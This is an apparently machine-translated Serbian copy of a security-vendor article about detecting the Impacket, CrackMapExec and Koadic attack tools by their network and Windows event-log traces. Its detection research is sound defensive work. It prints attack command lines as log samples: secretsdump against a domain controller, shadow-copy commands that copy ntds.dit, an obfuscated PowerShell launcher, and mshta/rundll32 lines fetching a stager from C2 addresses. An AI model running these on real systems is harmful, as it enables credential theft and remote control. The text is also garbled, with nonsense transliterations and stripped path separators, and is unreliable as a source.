Како открити нападе на Windows-инфраструктура: проучавање хакерских алата

Број напада у корпоративном сектору сваке године расте: нпр у 2017. забележено је 13% више јединствених инцидената него у 2016, а на крају 2018 - 27% више инцидената, него у претходном периоду. Укључујући и оне где је оперативни систем главни радни алат WindowsУ периоду 2017-2018, APT Dragonfly, APT28, АПТ МуддиВатер извршио нападе на владине и војне организације у Европи, Северној Америци и Саудијској Арабији. И за ово смо користили три алата - Импацкет, ЦрацкМапЕкец и Коадић. Њихов изворни код је отворен и доступан на ГитХуб-у.

Вреди напоменути да се ови алати не користе за почетни продор, већ за развој напада унутар инфраструктуре. Нападачи их користе у различитим фазама напада након продора у периметар. Ово је, иначе, тешко открити и често само уз помоћ технологије идентификовање трагова компромитовања у мрежном саобраћају или алати који дозвољавају открити активне акције нападача након што је продро у инфраструктуру. Алати пружају различите функције, од преноса датотека до интеракције са регистром и извршавања команди на удаљеној машини. Спровели смо студију ових алата да бисмо утврдили њихову мрежну активност.

Шта је требало да урадимо:

• Схватите како функционишу алати за хаковање. Сазнајте шта нападачи треба да искористе и које технологије могу да користе.
• Пронађите оно што није откривено алатима за безбедност информација у првим фазама напада. Фаза извиђања може бити прескочена, било зато што је нападач интерни нападач, или зато што нападач искоришћава рупу у инфраструктури која раније није била позната. Постаје могуће обновити цео ланац његових акција, отуда и жеља да се открије даље кретање.
• Уклоните лажне позитивне резултате из алата за откривање упада. Не смемо заборавити да када се одређене акције открију само на основу извиђања, могуће су честе грешке. Обично у инфраструктури постоји довољан број начина, који се на први поглед не разликују од легитимних, за добијање било какве информације.

Шта ови алати дају нападачима? Ако је ово Имппацкет, нападачи добијају велику библиотеку модула који се могу користити у различитим фазама напада који следе након пробијања периметра. Многи алати користе Имппацкет модуле интерно - на пример, Метасплоит. Има дцомекец и вмиекец за даљинско извршавање команди, сецретсдумп за добијање налога из меморије који су додати из Имппацкета. Као резултат тога, исправна детекција активности такве библиотеке ће обезбедити детекцију деривата.

Није случајно што су креатори написали “Поверед би Имппацкет” о ЦрацкМапЕкец-у (или једноставно ЦМЕ). Поред тога, ЦМЕ има готову функционалност за популарне сценарије: Мимикатз за добијање лозинки или њихових хешева, имплементацију Метерпретер или Емпире агента за даљинско извршење и Блоодхоунд на броду.

Трећи алат који смо изабрали је Koadic. Прилично је нов, представљен је на међународној хакерској конференцији DEFCON 25 2017. године, и има неконвенционалан приступ: ради путем HTTP-а, JavaScript-а и Microsoft Visual Basic Script-а (VBS). Овај приступ се назива „живљење од земље“: алат користи скуп зависности и библиотека уграђених у WindowsТворци га називају COM Command & Control, или C3.

ИМПАЦКЕТ

Функционалност Impacket-а је прилично широка, од извиђања унутар Active Directory-а и прикупљања података са интерних MS SQL сервера до техника за добијање акредитива, укључујући SMB релејни напад и преузимање датотеке ntds.dit која садржи хешеве корисничких лозинки са контролера домена. Impacket такође извршава команде даљински користећи четири различите методе: WMI, сервис за управљање распоређивачем и још много тога. Windows, DCOM и SMB, и потребни су му акредитиви за ово.

Сецретсдумп

Хајде да погледамо сецретсдумп. Ово је модул који може да циља и корисничке машине и контролере домена. Може се користити за добијање копија меморијских области ЛСА, САМ, СЕЦУРИТИ, НТДС.дит, тако да се може видети у различитим фазама напада. Први корак у раду модула је аутентификација преко СМБ, која захтева или корисничку лозинку или њен хеш да би се аутоматски извршио напад Пасс тхе Хасх. Следи захтев за отварање приступа Сервице Цонтрол Манагер-у (СЦМ) и приступ регистру преко винрег протокола, помоћу којег нападач може да сазна податке о гранама од интереса и добије резултате преко СМБ.

На сл. 1 видимо како се тачно када се користи винрег протокол, приступ добија помоћу кључа регистратора са ЛСА. Да бисте то урадили, користите команду ДЦЕРПЦ са опкодом 15 - ОпенКеи.

Пиринач. 1. Отварање кључа регистратора помоћу винрег протокола

Затим, када се добије приступ кључу, вредности се чувају помоћу команде СавеКеи са опцодеом 20. Имппацкет то ради на врло специфичан начин. Он чува вредности у датотеци чије је име низ од 8 насумичних знакова са додатком .тмп. Поред тога, даље учитавање ове датотеке се одвија преко СМБ-а из Систем32 директоријума (слика 2).

Пиринач. 2. Шема за добијање кључа регистратора са удаљене машине

Испоставило се да се таква активност на мрежи може открити упитима одређеним гранама регистра користећи винрег протокол, одређена имена, команде и њихов редослед.

Овај модул такође оставља трагове у дневнику догађаја. Windows, захваљујући чему се лако открива. На пример, као резултат извршавања команде

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

У часопису Windows Server 2016. година ће обележити следећи кључни низ догађаја:

1. 4624 - даљинско пријављивање.
2. 5145 - провера права приступа удаљеном сервису винрег.
3. 5145 - провера права приступа датотекама у Систем32 директоријуму. Датотека има насумично име поменуто горе.
4. 4688 - креирање цмд.еке процеса који покреће вссадмин:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - креирање процеса командом:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - креирање процеса командом:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - креирање процеса командом:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Смбекец

Као и многи алати након експлоатације, Имппацкет има модуле за даљинско извршавање команди. Фокусираћемо се на смбекец, који обезбеђује интерактивну командну шкољку на удаљеној машини. Овај модул такође захтева аутентификацију преко СМБ-а, било помоћу лозинке или хеша лозинке. На сл. На слици 3 видимо пример како такав алат функционише, у овом случају то је локална администраторска конзола.

Пиринач. 3. Интерактивна смбекец конзола

Први корак смбекец-а након аутентификације је отварање СЦМ-а помоћу ОпенСЦМанагерВ команде (15). Упит је значајан: поље МацхинеНаме је ДУММИ.

Пиринач. 4. Захтев за отварање Сервице Цонтрол Манагер

Затим се сервис креира помоћу команде ЦреатеСервицеВ (12). У случају смбекец-а, сваки пут можемо видети исту логику конструкције команде. На сл. 5 зелено означава непроменљиве параметре команде, жуто означава шта нападач може да промени. Лако је видети да се име извршне датотеке, њен директоријум и излазна датотека могу променити, али је остало много теже променити без нарушавања логике модула Имппацкет.

Пиринач. 5. Захтевајте креирање услуге користећи Сервице Цонтрол Манагер

Smbexec такође оставља очигледне трагове у дневнику догађаја. WindowsУ часопису Windows Server 2016. за интерактивну командну љуску са командом ipconfig видимо следећи кључни низ догађаја:

1. 4697 — инсталирање услуге на машини жртве:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - креирање процеса цмд.еке са аргументима из тачке 1.
3. 5145 - провера права приступа __излазној датотеци у Ц$ директоријуму.
4. 4697 — инсталирање сервиса на машини жртве.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - креирање процеса цмд.еке са аргументима из тачке 4.
6. 5145 - провера права приступа __излазној датотеци у Ц$ директоријуму.

Impacket је фрејмворк за развој алата за напад. Подржава скоро све протоколе у Windows-инфраструктуру, а ипак има своје посебне карактеристике. То укључује специфичне winreg упите, коришћење SCM API-ја са сопственом структуром команди, формат имена датотеке и SMB дељење SYSTEM32.

ЦРАЦКМАПЕКСЕЦ

ЦМЕ алат је дизајниран првенствено да аутоматизује оне рутинске радње које нападач мора да изврши да би напредовао унутар мреже. Омогућава вам да радите у сарадњи са познатим Емпире агентом и Метерпретером. Да би тајно извршио команде, ЦМЕ их може замаглити. Користећи Блоодхоунд (посебан алат за извиђање), нападач може аутоматизовати претрагу активне сесије администратора домена.

Блоодхоунд

Блоодхоунд, као самостални алат, омогућава напредно извиђање унутар мреже. Прикупља податке о корисницима, машинама, групама, сесијама и испоручује се као ПоверСхелл скрипта или бинарна датотека. За прикупљање информација користе се ЛДАП или СМБ протоколи. Интеграциони модул ЦМЕ омогућава преузимање Блоодхоунда на машину жртве, покретање и примање прикупљених података након извршења, чиме се аутоматизују радње у систему и чине их мање уочљивим. Графичка љуска Блоодхоунд представља прикупљене податке у облику графикона, што вам омогућава да пронађете најкраћи пут од машине нападача до администратора домена.

Пиринач. 6. Блоодхоунд интерфејс

Да би се покренуо на машини жртве, модул креира задатак користећи ATSVC и SMB. ATSVC је интерфејс за рад са распоређивачем задатака. WindowsCME користи своју функцију NetrJobAdd (1) за креирање задатака преко мреже. Пример онога што CME модул шаље приказан је на слици 7: то је позив команде cmd.exe и замаскирани код у облику XML аргумената.

Фиг.7. Креирање задатка преко ЦМЕ-а

Након што је задатак достављен на извршење, жртвина машина покреће сам Блоодхоунд, и то се види у саобраћају. Модул карактеришу ЛДАП упити за добијање стандардних група, списак свих машина и корисника у домену и добијање информација о активним корисничким сесијама путем СРВСВЦ НетСессЕнум захтева.

Пиринач. 8. Добијање листе активних сесија преко СМБ

Поред тога, покретање Блоодхоунд-а на машини жртве са омогућеном ревизијом је праћено догађајем са ИД-ом 4688 (креирање процеса) и именом процеса «C:WindowsSystem32cmd.exe». Оно што је значајно у вези са тим су аргументи командне линије:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Енум_авпродуцтс

Модул enum_avproducts је прилично занимљив у погледу функционалности и имплементације. WMI вам омогућава да преузимате податке из различитих објеката користећи WQL језик за упите. Windows, што је у суштини оно што овај CME модул користи. Он генерише упите класама AntiSpywareProduct и AntiMirusProduct о безбедносним алатима инсталираним на рачунару жртве. Да би добио потребне податке, модул се повезује са именским простором rootSecurityCenter2, затим генерише WQL упит и добија одговор. Слика 9 приказује садржај таквих упита и одговора. У нашем примеру, Windows Дефендер.

Пиринач. 9. Мрежна активност модула енум_авпродуцтс

Често, ВМИ ревизија (Траце ВМИ-Ацтивити), у чијим догађајима можете пронаћи корисне информације о ВКЛ упитима, може бити онемогућена. Али ако је омогућено, онда ако се покрене скрипта енум_авпродуцтс, биће сачуван догађај са ИД-ом 11. Садржаће име корисника који је послао захтев и име у именском простору роотСецуритиЦентер2.

Сваки од ЦМЕ модула имао је своје артефакте, било да се ради о специфичним ВКЛ упитима или креирању одређеног типа задатка у планеру задатака са замагљивањем и активностима специфичним за Блоодхоунд у ЛДАП-у и СМБ.

КОАДИЋ

Карактеристична карактеристика Коадика је употреба уграђених Windows JavaScript и VBScript интерпретатори. У том смислу, прати тренд живота од земље — то јест, нема спољне зависности и користи стандардне алате. WindowsОво је потпуно развијени алат за командовање и контролу (CnC), јер се након инфекције на машину инсталира „имплантат“ који омогућава њено управљање. Таква машина, у Коадиковој терминологији, назива се „зомби“. Ако жртва нема довољне привилегије за потпун рад, Коадик је може подићи користећи технике заобилажења UAC-а.

Пиринач. 10. Коадиц Схелл

Жртва мора да покрене комуникацију са сервером за команду и контролу. Да би то урадила, она треба да ступи у контакт са претходно припремљеним УРИ-јем и прими главно тело Коадиц-а користећи један од бијџера. На сл. На слици 11 приказан је пример за мсхта стагер.

Пиринач. 11. Иницијализација сесије са ЦнЦ сервером

На основу променљиве одговора ВС, постаје јасно да се извршавање дешава преко ВСцрипт.Схелл, а променљиве СТАГЕР, СЕССИОНКЕИ, ЈОБКЕИ, ЈОБКЕИПАТХ, ЕКСПИРЕ садрже кључне информације о параметрима тренутне сесије. Ово је први пар захтев-одговор у ХТТП вези са ЦнЦ сервером. Накнадни захтеви су директно везани за функционалност прозваних модула (имплантата). Сви Коадиц модули раде само са активном сесијом са ЦнЦ-ом.

Мимикатз

Баш као што ЦМЕ ради са Блоодхоундом, Коадиц ради са Мимикатзом као засебним програмом и има више начина да га покрене. Испод је пар захтев-одговор за преузимање Мимикатз имплантата.

Пиринач. 12. Пребаци Мимикатза у Коадић

Можете видети како се променио УРИ формат у захтеву. Сада садржи вредност за променљиву цсрф, која је одговорна за изабрани модул. Не обраћајте пажњу на њено име; Сви знамо да се ЦСРФ обично другачије схвата. Одговор је био исти главни део Коадића, коме је додат код везан за Мимикатза. Прилично је велика, па хајде да погледамо кључне тачке. Овде имамо Мимикатз библиотеку кодирану у басе64, серијализовану .НЕТ класу која ће је убацити, и аргументе за покретање Мимикатза. Резултат извршења се преноси преко мреже у чистом тексту.

Пиринач. 13. Резултат покретања Мимикатза на удаљеној машини

Екец_цмд

Коадиц такође има модуле који могу даљински да извршавају команде. Овде ћемо видети исти метод генерисања УРИ-ја и познате променљиве сид и цсрф. У случају модула екец_цмд, код се додаје телу које је способно да извршава команде љуске. Испод је приказан такав код садржан у ХТТП одговору ЦнЦ сервера.

Пиринач. 14. Шифра имплантата екец_цмд

За извршење кода потребна је променљива ГАВТУУГЦФИ са познатим ВС атрибутом. Уз његову помоћ, имплант позива љуску, обрађујући две гране кода - схелл.екец са повратком излазног тока података и схелл.рун без враћања.

Коадиц није типичан алат, али има своје артефакте помоћу којих се може наћи у легитимном саобраћају:

• посебно формирање ХТТП захтева,
• користећи винХттпРекуестс АПИ,
• креирање ВСцрипт.Схелл објекта преко АцтивеКСОбјецт,
• велико извршно тело.

Почетну везу иницира стагер, тако да је могуће детектовати његову активност кроз догађаје. WindowsЗа mshta, ово је догађај 4688, који указује на креирање процеса са атрибутом startup:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Док Коадиц ради, можете видети других 4688 догађаја са атрибутима који га савршено карактеришу:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Налази

Тренд живота од земље добија на популарности међу криминалцима. Они користе уграђене Windows алате и механизме за сопствене потребе. Видимо да се популарни алати попут Koadic-а, CrackMapExec-а и Impacket-а, који прате овај принцип, све више појављују у APT извештајима. Број форкова ових алата на GitHub-у такође расте, а појављују се и нови (тренутно их има око хиљаду). Овај тренд добија на популарности због своје једноставности: нападачима нису потребни алати трећих страна; они су већ присутни на машинама жртава и помажу им да заобиђу безбедносне мере. Фокусирамо се на проучавање мрежних интеракција: сваки горе описани алат оставља своје трагове у мрежном саобраћају; њихово детаљно проучавање нам је омогућило да обучимо наш производ. ПТ Нетворк Аттацк Дисцовери открити их, што на крају помаже да се истражи цео ланац сајбер инцидената који их укључују.

Аутори:

• Антон Тјурин, шеф одељења за стручне услуге, ПТ Екперт Сецурити Центер, Поситиве Тецхнологиес
• Егор Подмоков, експерт, ПТ Екперт Сецурити Центер, Поситиве Тецхнологиес

Извор: ввв.хабр.цом